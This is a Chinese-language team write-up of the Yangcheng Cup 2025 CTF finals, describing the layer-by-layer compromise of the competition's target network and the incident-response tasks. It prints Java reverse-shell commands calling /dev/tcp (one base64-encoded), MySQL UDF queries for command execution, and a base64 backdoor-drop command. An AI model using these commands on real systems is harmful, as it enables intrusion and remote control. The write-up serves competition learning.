羊城杯2025决赛

前言

本文所使用的工具可参考以下仓库:

Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链

这是Tony5、jt、yymh、Pinguw的超绝羊城之旅

由于比赛期间时间紧张且并未要求写WP,所以没有保留详细解题步骤。返程飞机上回想赛程,遂作此文,用以分享。

羊城杯决赛分3个方向:

  • 渗透测试
  • 应急响应
  • 数据安全

所有方向的题目都分三个难度:简单、中等、困难,分数为100、200、300。

赛题形式大概就是某个公司被打了,让你复现攻击路径的同时溯源攻击者。简单来说,就是先渗透打进去控制机器,再应急响应找攻击者的痕迹,而且三个方向用的是同一个靶机。题目环境实际上就是几个docker,用网桥连起来。

网络拓扑目前还不太清晰,我们最后是突破到了第三层。

这个拓扑很混乱,到处都是端口映射,导致之前的服务和新的服务串在一起,而且其他端口还有数据安全的服务。

由于本文是赛后回忆,重在讲解思路,不详细讲隧道代理、流量转发的过程,也不分析具体的payload。

题目解析

第一层

入口机器有两个服务,一个WordPress、一个geoserver

我们按部就班信息收集,在WordPress处用wpscan扫了扫,随手一测robots.txt,发现了flag1。

我们还没进靶机就有人出一血,原来是送分题

识别出WordPress版本为v5.8.12,目录扫描发现有git泄露,用githack拖下来源码,是源码审计找洞。漏扫发现CVE-2022-3590,但是手里没这个洞的exp。

看了看geoserver,searchsploit并没有找到好用的洞,但从收集的一份wp里找到了CVE-2024-36401,而且版本符合。

curl了一下验证exp可行,这里要讲一个细节,java反弹shell一般有两种方式(做过java sec的同学可能比较了解):

  1. 数组
1
exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1")
  1. base64
1
exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

如果直接传入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");,会被拆分成如下形式,从而报错

1 2 3 4 5
bash -i >& /dev/tcp/ip/port 0>&1

具体分析可以看墨竹学长的文章:从Java看反弹Shell - 知乎

由于是docker,还以为是容器逃逸,上了linpeas扫了半天也没思路。后来发现全都是docker,渗透竟然用docker环境,好坑。

jt化身路由器,疯狂反弹shell、转发流量。

我的Kali是NAT的虚拟机,不能直接反弹shell。于是jt起了一个stowaway agent,并映射端口到我的主机,相当于把 jt 当作跳板机进行攻击。

比完赛想了想,更好的方法是传一个msf的马,我正向连到靶机,再自己搭建隧道,映射端口到pwncat。msf最近没用到就忽略了,耽误了时间,而且搞混了网络拓扑,后续环境出问题的时候也影响了判断

第二层

我们策略是一直往下打,没思路的就放,于是标准步骤:看网卡、fscan扫端口

然后session、agent都死了,反弹shell也都断了

这套靶场最难绷的就是抗并发太差了,稍微上点流量就死,连端口都扫不了打个蛋,而且竟有5次重启上限

一开始以为是服务死了,后来发现是网卡死了。

重启靶机,jt再次疯狂转发流量(人肉路由器这一块)。

第二层有多个服务:

一个nginx,一个AI服务,一个类似cms的服务,一个gitlab

  1. nginx版本是1.18.0,没有找到对应的漏洞脚本。

  2. AI服务通过searchsploit发现有一个鉴权漏洞,但是没打通,可能是版本对不上。

  3. cms服务的话,是一个非框架题,自己找洞,whatweb识别出后端是PHP 7.x写的。

    jt敏锐地发现有文件上传功能,抓包之后敏锐地看到可以json指定后缀名单,于是增加后缀为php,并且成功上传一句话木马,直接一手蚁剑连接拿flag。

    解出了一道困难题,豪爽。

  4. gitlab指纹识别不出版本,密码爆破尝试弱口令,马上死给我们看。

    但是searchsploit搜到了了对应的多个漏洞。由于未授权且猜测是较新的RCE,于是打了CVE-2021-22205,直接拿下一台机器。

第三层

第三层有MySQL、Redis、PostgreSQL

在蚁剑里找到了.env文件(注意力惊人),里面有MySQL、Redis的连接密码。

渗透题目没有题目名、题目描述,只有flag1、flag2……

这种情况下需要自己确定打哪个服务,自己找flag(数据库或者根目录),且无法确定是否需要进一步提权。而且由于混乱的端口映射、脆弱的环境,导致做起来很棘手

我们打的时候也不是按顺序来,而是通了一个靶机就交,往往flag序号之间会相差很大。好在应急响应有题目描述,通过这个来旁敲侧击,有一个大致的方向

由于应急响应有MySQL,当时思路就确定打MySQL,发现可以打udf从而命令执行

奇怪的是MDUT打不通,然后上msf(多方法打点的习惯是真有用),有个细节就是msf打MySQL UDF可能不直接给session

好在之前打过,msf写完.so文件之后,我们navicat连上MySQL用之前的payload:

1
2
3
select * from MySQL.func;
create function sys_eval returns string soname 'UIWgSojw.so';
select sys_eval('cat /f*');

直接出flag,拿了一血,好爽!

直接冲到了第三名。“计划有变”

有个细节就是这个MySQL环境受限不能弹shell,要手动上马。而且他的echo不接受-e,所以不能用echo -e "\x7fELF"这样的形式,但是有base64可以直接echo "payload" | base64 -d > backdoor

顺势拿下两道MySQL应急响应:一道找攻击者的命令执行函数、一道找攻击者IP

Redis的版本是4.x,在主从复制的范围之内,不过当时把拓扑搞混了,第一次主从复制反弹的IP写错了。恰好主从复制有一个细节,就是打了一次就坏了,再想打只能重启。

由于没搞清楚网络拓扑,当时IP搞混了,第一次失误了。而且前面MDUT打MySQL没打通,又误以为是MDUT的问题,换了Redis-rogue-server。尝试了很多次,但忽略了主从复制不抗打,没想到重启,导致最后也没打通。

这里就放了,后面反过头去看没打通的几个点。

看了看WordPress源码,感觉像CVE-2022-3590,但这是SSRF,可能还得结合别的洞拿shell。还有提权都没成功,可能也会有flag。

数据安全Pinguw一个人在做,做了一半。

总结

最后位居第8,渗透6个flag、应急4个、ds两个

比较可惜的就是:

  • Redis思路、利用手法是对的,但是忽略了重启,不然还有一道应急响应可以做。
  • 忘了看gitlab那台机器,里面应该有东西

Tony5云:信息收集决定打点思路,技术细节实现漏洞利用

后续没啥思路主要还是信息收集做的不够,Redis是忘了技术细节

三等奖一枚

整体来说,羊城杯的题目还是比较经典的,但是环境属实一坨。

渗透的话,相对贴近现实一些,与传统CTF不同点主要在于需自己收集、判断有效信息(渗透打点像没有题目描述的web题,而且多是实际出现过的漏洞)。线下和线上主要区别在于断网,平时习惯上网搜脚本的话,束缚就比较大。不通网、无AI立马变成原始人,比较考验选手的利用思路和漏洞库。

还有,广东这么暧(nuan)昧(wei)的吗

男闺蜜这一块

后续拿到第一的wp,发现渗透方面的主要差距在于一些服务的密码爆破,这个用fscan都能出

但是那个情景


羊城杯2025决赛
http://example.com/2026/test44/
作者
sangnigege
发布于
2026年4月15日
许可协议